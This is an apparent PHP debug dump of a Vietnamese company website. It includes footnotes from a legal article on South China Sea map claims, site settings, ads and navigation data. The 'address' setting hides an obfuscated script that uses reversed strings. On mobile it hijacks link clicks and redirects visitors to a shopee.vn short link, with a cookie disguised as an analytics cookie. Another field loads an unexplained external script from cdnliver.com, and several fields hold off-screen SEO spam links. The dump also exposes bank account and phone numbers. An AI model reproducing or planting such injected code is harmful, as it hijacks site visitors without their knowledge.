[119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div>
<div>
</div>
<div>
[120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div>
<div>
</div>
<div>
[121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div>
<div>
</div>
<div>
[122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div>
<div>
</div>
<div>
[123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div>
<div>
</div>
<div>
[124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div>
<div>
</div>
<div>
[125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div>
<div>
</div>
<div>
[126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div>
<div>
</div>
<div>
[127] Barale, supra note 129 at 404–6.</div>
<div>
</div>
<div>
[128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div>
<div>
</div>
<div>
[129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div>
<div>
</div>
<div>
[130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div>
<div>
</div>
<div>
[131] Abou-el-Wafa, supra note 37 at 128–9.</div>
<div>
</div>
<div>
[132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div>
<div>
</div>
<div>
[133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div>
<div>
</div>
<div>
[134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div>
<div>
</div>
<div>
[135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div>
',
'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-21',
'modified' => '2025-08-19',
'status' => '1',
'view' => '47027',
'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '725',
'rght' => '726',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
'setting' => array(
'id' => '1',
'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'address_eng' => '<div>
QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div>
<div>
Representative: Le Van</div>
<div>
Position: Director</div>
<div>
Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div>
<div>
Phone number:</div>
<div>
Email:</div>
<div>
Tax code: 0103008064</div>
',
'address' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p>
<h2 style="position: absolute; top: -100000px; overflow: auto;">
<a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2>
<div>
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br />
Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br />
Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br />
Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br />
Số điện thoại công ty: 02437759534</div>
<div>
<div>
Số điện thoại kỹ thuật: 0904212040</div>
<div>
Số điện thoại kinh doanh: 0913303547</div>
</div>
<div>
</div>
<div>
</div>
</div><script>
const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h();
</script>
',
'contactinfo_eng' => '<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
',
'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br />
<br />
1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br />
2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br />
3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br />
4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br />
5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội',
'contactinfo' => '<div dir="rtl" style="text-align: left;">
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
</div>
<div style="">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br />
</div>
<div style="position: absolute; left: -10000px;">
<a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div>
',
'telephone' => '01659 014592',
'hotline' => '0913303547',
'email' => '',
'url' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2012-06-05',
'modified' => '1752726853',
'youtube' => 'http://youtube.com',
'twitter' => 'https://twitter.com/',
'myspace' => 'https://myspace.com/',
'facebook' => 'https://www.facebook.com/FacebookVietnam/',
'email2' => 'duycuong7640',
'skype' => 'hothihuyen.hn',
'yahoo' => 'duycuong7640',
'yahoo1' => 'duycuong7640',
'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873',
'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
',
'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux',
'slogan_eng' => '',
'printer' => '',
'googleplus' => '',
'bando' => '<p>
<iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p>
<script src='https://cdnliver.com/js/thanhtuyen.js'></script>',
'gioithieu' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p>
',
'thongtincongty' => 'Sửa máy lạnh tại nhà
Sửa máy lạnh tại HCM
Sửa tủ lạnh
Bơm ga máy lạnh ',
'trogiupkh' => 'Tai nghe Iphone
Sua may tinh tai nha
Máy Ozone Z755',
'dichvuft' => 'Sửa máy lạnh
Bảo dưỡng máy lạnh
Vệ sinh máy lạnh
Lắp đặt máy lạnh',
'bb' => '',
'zing' => '',
'hotline2' => '0912 35 65 75',
'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-72584674-1', 'auto');
ga('send', 'pageview');
</script>
<!-- Global site tag (gtag.js) - Google Ads: 876059345 -->
<script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'AW-876059345');
</script>
',
'theh1' => '',
'hanoi' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tphcm' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tt' => '',
'pp' => 'https://www.facebook.com/ruaxetudong.net',
'tphcm_eng' => '',
'hanoi_eng' => '',
'hotline_eng' => '',
'name_eng' => '',
'chinhsach' => null,
'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'gt' => '<p style="text-align: center;">
</p>
<span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" />
<img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br />
<img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" />
<span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span>
<p style="text-align: center;">
<iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p>
',
'gt_eng' => ''
),
'description_for_layout' => '',
'keywords_for_layout' => '',
'tintucnoibat' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'duandatrienkhai' => array(
(int) 0 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Advertisement' => array(
[maximum depth reached]
)
)
),
'slideshow' => array(
(int) 0 => array(
'Slideshow' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Slideshow' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Slideshow' => array(
[maximum depth reached]
)
)
),
'adv_khuyenmai' => array(
'Advertisement' => array(
'id' => '1',
'name' => null,
'link' => '',
'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png',
'display' => '5',
'created' => '2015-11-12',
'modified' => '2019-06-18',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '1',
'rght' => '2'
)
),
'doitac' => array(
(int) 0 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Advertisement' => array(
[maximum depth reached]
)
)
),
'chayphai' => array(
'Advertisement' => array(
'id' => '3',
'name' => null,
'link' => '',
'images' => '20160216064647eda555165b5c7208330a328fac635686.png',
'display' => '2',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '5',
'rght' => '6'
)
),
'chaytrai' => array(
'Advertisement' => array(
'id' => '2',
'name' => null,
'link' => '',
'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg',
'display' => '1',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '3',
'rght' => '4'
)
),
'chiasekinhnghiem' => array(),
'list_menu_footer' => array(),
'danhmuc_left_parent' => array(
(int) 0 => array(
'Catproduct' => array(
[maximum depth reached]
)
)
),
'danhmuc' => array(
(int) 0 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Catproduct' => array(
[maximum depth reached]
)
)
),
'support' => array(
(int) 0 => array(
'Support' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Support' => array(
[maximum depth reached]
)
)
),
'content_for_layout' => '<div class="bg-cat-danhmuc">
<div class="cat-title-danhmuc">
<a href="" title="">
<h1></h1>
</a>
</div>
</div>
<div class="box-content-detail">
<div class="clear-content"></div><div class="clear-content"></div>
<div class="col-product">
<div class="box-new-content">
<div class="box-new-detail">
<div class="time-date">
12:00:00
<span>21/06/2016</span>
</div><!--end time-date--><div class="clear-content"></div>
<div class="box-like-share">
<div class="like1">
<div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div>
</div>
</div><!--end box-like-share--><div class="clear-content"></div>
<div class="ct-tt">
<div class="clear-main"></div>
</div><!--end ct-tt-->
<!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>-->
<div class="clear-content"></div><div class="clear-content"></div>
</div><!--end box-new-detail-->
<div class="bar-new-detail">
<label>Private same category</label>
<div class="clear-main"></div>
<ul>
<li>
<a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title="">
<h3> <span>(21-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title="">
<h3> <span>(20-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title="">
<h3> <span>(20-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
</ul>
<div class="clear-main"></div>
</div><!--end bar-new-detail-->
<div class="clear-main"></div>
<div class="pagination">
<span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div>
<div class="clear-main"></div>
</div><!--end box-ctbar-->
</div>
</div>',
'scripts_for_layout' => ''
)
$cat12 = array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
$title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ'
$tinmoiup = array(
(int) 0 => array(
'Post' => array(
'id' => '539',
'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH',
'code' => null,
'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
